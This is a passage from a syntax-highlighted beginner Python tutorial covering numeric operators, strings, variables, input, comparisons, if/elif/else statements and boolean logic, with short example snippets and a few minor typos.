style="color:#d3869b;">11</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">0</span><span style="color:#fdf4c1;">) +</span></code></pre> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>Traceback(most recent call last): +</span><span>File&quot;\&lt;stdin\&gt;&quot;, line 1, in \&lt;module\&gt; +</span><span>ZeroDivisionError: division by zero +</span></code></pre> +<blockquote> +<p>In python, the last line of an error message indicates the error’s type. Read error messages carefully, as they often tell you how to fix a program!</p> +</blockquote> +<h2 id="floats">Floats</h2> +<p><strong>Floats</strong> are used in python to represent numbers that <strong>aren’t integers</strong> (whole numbers). Some examples of numbers that are represented as floats are 0.5 and -7.8538953. They can be created directly by entering a number with a decimal point, or by using operations such as division on integers.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Computers can’t store floats perfectly accurately, in the same way we can’t write down the complete decimal expansion of 1/3 (0.333333333…). Keep this in mind, because it often leads to infuriating bugs!</p> +</blockquote> +<p>A float is also produced by running an operation on two floats, or on a float and an integer.</p> +<blockquote> +<p>A float can be added to an integer, because Python silently converts the ineger to a float.</p> +</blockquote> +<h2 id="exponentiation">Exponentiation</h2> +<p>Besides addition, subtraction, multiplication, and division, Python also supports exponentiation, which is raising of one number to the power of another. This operation is performed using two asterisks.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">**</span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">9</span><span style="color:#fe8019;">**</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">)) +</span></code></pre> +<blockquote> +<p>You can chain exponentiation together. In other words, you can raise a number to multiple powers. Eg. 2<strong>3</strong>2</p> +</blockquote> +<h2 id="quotient">Quotient</h2> +<p><strong>Floor division</strong> is done using two forward slashes and is used to determine the <strong>quotient</strong> of a division (the quantity produced by the division of two numbers).</p> +<p><strong>For example:</strong></p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fe8019;">//</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>The code above will output 3. </p> +<blockquote> +<p>You can also use floor division on floats</p> +</blockquote> +<h2 id="remainder">Remainder</h2> +<p>The <strong>modulo operator</strong> is carried out with a percent symbol <code>%</code> and is used to get the <strong>remainder</strong> of a division.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">20</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1.25</span><span style="color:#fe8019;">%</span><span style="color:#d3869b;">0.5</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>All numerical operators can also be used with floats.</p> +</blockquote> +<h2 id="strings">Strings</h2> +<p>If you want to use text in python, you have to use a string. A string is created by entering text between <strong>two single or double quotation marks</strong>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Python is fun!&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Always look on the bright side&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The delimiter (” or ’) used for a string doesn’t affect how it behaves in any way.</p> +</blockquote> +<h3 id="backslash">Backslash</h3> +<p>Some characters cant be directly included in a string. For instance, double quotes can’t be directly included in a double quote string; this would cause it to end prematurely.</p> +<p>Characters like double quotes must be escaped by placing a <strong>backslash</strong> before them. Double quotes need to be escaped in double quotes strings only, and the same is true for single quotes strings. For Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;Brian\&#39;s mother: He\&#39;s not an angel. He\&#39;s a naughty boy!&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Backslashes can also be used to escape tabs, arbitrary Unicode characters, and various other things that can’t be reliably printed.</p> +</blockquote> +<p>Newlines</p> +<p><code>\n</code> represents a new line. It can be used in strings to create multi-line output.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&#39;One **\n** Two **\n** Three&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>Newlines will automatically be added for strings that are created using three quotes.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;&quot;&quot;This +</span><span style="color:#b8bb26;">is a +</span><span style="color:#b8bb26;">multiline +</span><span style="color:#b8bb26;">text&quot;&quot;&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Similarly, <code>\t</code> represents a tab.</p> +</blockquote> +<h3 id="concatenation">Concatenation</h3> +<p>As with integers and floats, strings in Python can be added, using a process called <em>concatenation</em>, which can be done on any two strings.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Spam&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&#39;eggs&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>When concatenating strings, it doesn’t matter whether they have been created with single or double quotes, as seen above</p> +</blockquote> +<blockquote> +<p>Adding a string to a number produces an error, as even though they might look similar, they are two different entities</p> +</blockquote> +<h3 id="string-operations">String Operations</h3> +<p>Strings can also be <strong>multiplied</strong> with integers. This produces a repeated version of that string. The order of the <em>string</em> and the <em>integer</em> doesn’t matter, but the string usually comes first.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;spam&quot;</span><span style="color:#fe8019;">*</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">4</span><span style="color:#fe8019;">*</span><span style="color:#b8bb26;">&#39;2&#39;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Strings can’t be multiplied with other strings. Strings also can’t be multiplied by floats, even if the floats are whole numbers.</p> +</blockquote> +<h2 id="variables">Variables</h2> +<p>A <em>variable</em> allows you to store a value by assigning it to a name, which can be used to refer to the value later in the program. For example, in game development, you would use a variable to to store the points of the player.</p> +<p>To assign a variable, use <strong>one equals sign</strong>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>user </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;James&quot; +</span></code></pre> +<p>You can use variables to perform corresponding operations, just as you did with numbers and strings:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>The variable stores its value throughout the program.</p> +</blockquote> +<p>Variables can be assigned as many times as you want, in order to change their value. In python, variables don’t have specific types, so you can assign a string to a variable, and later assign an integer to the same variable.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">123.456 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;This is a string&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x</span><span style="color:#fe8019;">+</span><span style="color:#b8bb26;">&quot;!&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>However, this is not a good practice. To avoid mistakes, try to avoid overwriting the same variable with different data types.</p> +</blockquote> +<h3 id="variable-names">Variable Names</h3> +<p>Certain restrictions apply in regard to the characters that may be used in python variable names. The only characters that are allowed are <strong>letters, numbers and underscore</strong>. Also, they can’t start with numbers. Not following these rules results in errors.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>this_is_a_normal_name </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span><span> +</span><span>123abc </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">7 +</span></code></pre> +<pre style="background-color:#282828;color:#fdf4c1aa;"><code><span>SyntaxError: invalid syntax +</span></code></pre> +<blockquote> +<p>Python is a case sensitive programming language. Thus, <code>lastname</code> and <code>Lastname</code> are two <em>different</em> variable names in python.</p> +</blockquote> +<p>You can use the <em>del</em> statement to remove a variable, which means the reference from the name to the value is deleted, and trying to use the variable causes an error.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>foo </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">del </span><span>foo +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(foo) +</span><span style="font-style:italic;color:#928374;"># results in an error +</span></code></pre> +<p>Deleted variables can also e reassigned to later as normal.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>foo </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">2 +</span><span>bar </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">del </span><span>bar +</span><span>bar </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">8 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(foo </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">bar) +</span></code></pre> +<blockquote> +<p>The variables foo and bar are called metasyntactic variables, meaning they are used as placeholder names in example code to demonstrate something.</p> +</blockquote> +<h2 id="input">Input</h2> +<p>To get input from the user in python, you can use the intuitively named input function. For example, a game can ask for a user’s name and age as input and use them in the game.</p> +<p>The input function prompts the user for input, and returns what they enter as a string (with the contents automatically escaped).</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>Even if the user enters a number as an input, it is processed as a string.</p> +</blockquote> +<p>The input statement needs to be followed by parentheses. You can provide a string to <code>input()</code> between the parentheses, producing a prompt message.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>name </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Enter your name: &quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Hello&quot;</span><span style="color:#fe8019;">+</span><span style="color:#fdf4c1;">name) +</span></code></pre> +<blockquote> +<p>The prompt message helps clarify what the input is asking for.</p> +</blockquote> +<p>To convert the string to a number, we can use the <code>int()</code> function:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>age </span><span style="color:#fe8019;">=</span><span style="color:#fabd2f;">int</span><span style="color:#fdf4c1;">(</span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">()) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(age) +</span></code></pre> +<p>Similarly, in order to convert a number to a string, the str() function is used. This can be useful if you need to use a number in string concatenation. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>age </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">42 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;His age is&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#fabd2f;">str</span><span style="color:#fdf4c1;">(age)) +</span></code></pre> +<blockquote> +<p>You can convert to float using the float() function.</p> +</blockquote> +<p>You can take input multiple times to take multiple user input. For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>name </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span>age </span><span style="color:#fe8019;">= </span><span style="color:#fabd2f;">input</span><span style="color:#fdf4c1;">() +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(name </span><span style="color:#fe8019;">+ </span><span style="color:#b8bb26;">&quot;is&quot; </span><span style="color:#fe8019;">+ </span><span style="color:#fdf4c1;">age) +</span></code></pre> +<blockquote> +<p>When input function executes, program flow stops until the user enters some value.</p> +</blockquote> +<h2 id="in-place-operators">In Place Operators</h2> +<p>In-place operators allow you to write code like <code>x = x + 3</code> more concisely as <code>x +=3</code>. The same thing is possible with other operators such as <code>-</code>,<code>*</code>, <code>/</code>, and <code>%</code> as well.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">2 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">+= </span><span style="color:#d3869b;">3 +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<p>These operators can be used on types other than numbers, as well, such as strings.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x</span><span style="color:#fe8019;">= </span><span style="color:#b8bb26;">&quot;spam&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span><span> +</span><span>x </span><span style="color:#fe8019;">+= </span><span style="color:#b8bb26;">&quot;eggs&quot; +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(x) +</span></code></pre> +<blockquote> +<p>In-place operators can be used for any numerical operation (+,-,*,/,%,**,//).</p> +</blockquote> +<h2 id="booleans">Booleans</h2> +<p>Another type in python is the <strong>Boolean</strong> type. There are two Boolean values: <code>True</code> and <code>False</code>. They can be created by comparing values, for instance by using the equal to <code>==</code>.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>my_boolean </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">True +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(my_boolean) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;hello&quot; </span><span style="color:#fe8019;">== </span><span style="color:#b8bb26;">&#39;hello&#39;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Be careful not to confuse assignment (one equal sign) with comparison (two equal signs).</p> +</blockquote> +<h2 id="comparison">Comparison</h2> +<p>Another comparison operator, the <em>not</em> equal operator (!=), evaluates to True if the items being compared aren’t equal, and False if they are.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;eleven&quot; </span><span style="color:#fe8019;">!= </span><span style="color:#b8bb26;">&quot;seven&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<blockquote> +<p>Comparison operators are also called relational operators.</p> +</blockquote> +<p>Python also has operators that determine whether one number (float or integer) is greater than or smaller than another. These operators are <code>&gt;</code> and <code>&lt;</code> respectively.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">7 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">10</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span></code></pre> +<blockquote> +<p>Different numeric types can also be compared, for example, integer and float.</p> +</blockquote> +<p>The greater than or equal to, and the smaller than or equal to operators are &gt;= and &lt;=. They are the same as the strict greater than and smaller than operators, except that they return True when comparing equal numbers.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">7</span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">8</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">9</span><span style="color:#fe8019;">&gt;=</span><span style="color:#d3869b;">9.0</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<p>Greater than and smaller than operators can also be used to compare strings <em>lexicographically</em>. For Example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Annie&quot; </span><span style="color:#fe8019;">&gt; </span><span style="color:#b8bb26;">&quot;Andy&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span></code></pre> +<h2 id="if-statements">If statements</h2> +<p>You can use if statements to run code if a certain condition holds. If the expression evaluates to True, some statements are carried out.Otherwise they aren’t carried out. An if statement looks like this:</p> +<p>if expression: +<br> statements</p> +<blockquote> +<p>Python uses indentation, (white spaces at the beginning of a line) to delimit blocks of code. Depending on the program’s logic, indentation can be mandatory. As you can see, the statements in the if should be indented.</p> +</blockquote> +<p>Here is an example of if statement:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fa5c4b;">if </span><span style="color:#d3869b;">10 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;10 is greater than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;The program ended&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>The expression determines whether 10 is greater than 5. Since it is, the indented statement runs, and “10 is greater than 5” is output. Then, the unindented statement, which is not a part of the if statement, is run, and “Program ended” is displayed.</p> +<blockquote> +<p>Notice the colon at the end of the expression in the if statement.</p> +</blockquote> +<p>To perform more complex checks, if statements can be nested, one inside the other. This means that the inner if statement is the statement part of the outer one. This is one way to see whether multiple conditions are satisfied.</p> +<p>For example:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">12 +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Bigger than 5&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">&lt;= </span><span style="color:#d3869b;">47</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;between 5 and 47&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Indentation is used to define the level of nesting.</p> +</blockquote> +<h2 id="else-statements">else Statements</h2> +<p>The <em>if</em> statement allows you to check a condition and run some statements, if the condition is True. The <em>else</em> statement can be used to run some statements when the condition of the if statement is False.</p> +<p>As with if statements, the code inside the block should be indented.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>x </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">4 +</span><span style="color:#fa5c4b;">if </span><span>x </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">5</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Yes&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;No&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Notice the colon after the else keyword.</p> +</blockquote> +<p>Every if condition block can have only one else statement. In order to make multiple checks, you can chain if and else statements.</p> +<p>For example, the following program checks and outputs the num variable’s value as text:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3 +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;One&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Two&quot;</span><span style="color:#fdf4c1;">) +</span><span> </span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Three&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Indentation determines which if/else statements the code blocks belong to.</p> +</blockquote> +<h2 id="elif-statements">elif Statements</h2> +<p>Multiple if/else statements make the code long and not very readable. The elif (short for else if) statement is a shortcut to use when chaining if and else statements, making the code shorter.</p> +<p>The same example from the previous part can be rewritten using elif statements:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span>num </span><span style="color:#fe8019;">= </span><span style="color:#d3869b;">3</span><span>: +</span><span style="color:#fa5c4b;">if </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;One&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">elif </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Two&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">elif </span><span>num </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;Three&quot;</span><span style="color:#fdf4c1;">) +</span><span style="color:#fa5c4b;">else</span><span>: +</span><span> </span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#b8bb26;">&quot;None are true&quot;</span><span style="color:#fdf4c1;">) +</span></code></pre> +<p>As you can see in the example above, a series of if elif statements can have a final else block, which is called if none of the if or elif expressions is True. &gt;The elif statement is equivalent to an else/if statement. It is used to make the code shorter, more readable, and avoid indentation increase.</p> +<h2 id="boolean-logic">Boolean Logic</h2> +<p>Boolean logic is used to make more complicated conditions for if statements that rely on more than one condition. Python’s Boolean operators are and, or, and not. The <code>and</code> operator takes two arguments, and evaluates as True if, and only if, both of its arguments are True. Otherwise, it evaluates to False.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">!= </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">&lt; </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">and </span><span style="color:#d3869b;">3 </span><span style="color:#fe8019;">&gt; </span><span style="color:#d3869b;">6</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">False +</span></code></pre> +<blockquote> +<p>Boolean operators can be used in expression as many times as needed.</p> +</blockquote> +<p>The <code>or</code> operator also takes two arguments. It evaluates to True if either (or both) of its arguments are True, and False if both arguments are False.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">( </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">or </span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">== </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#d3869b;">True +</span><span> +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">1 </span><span style="color:#fe8019;">== 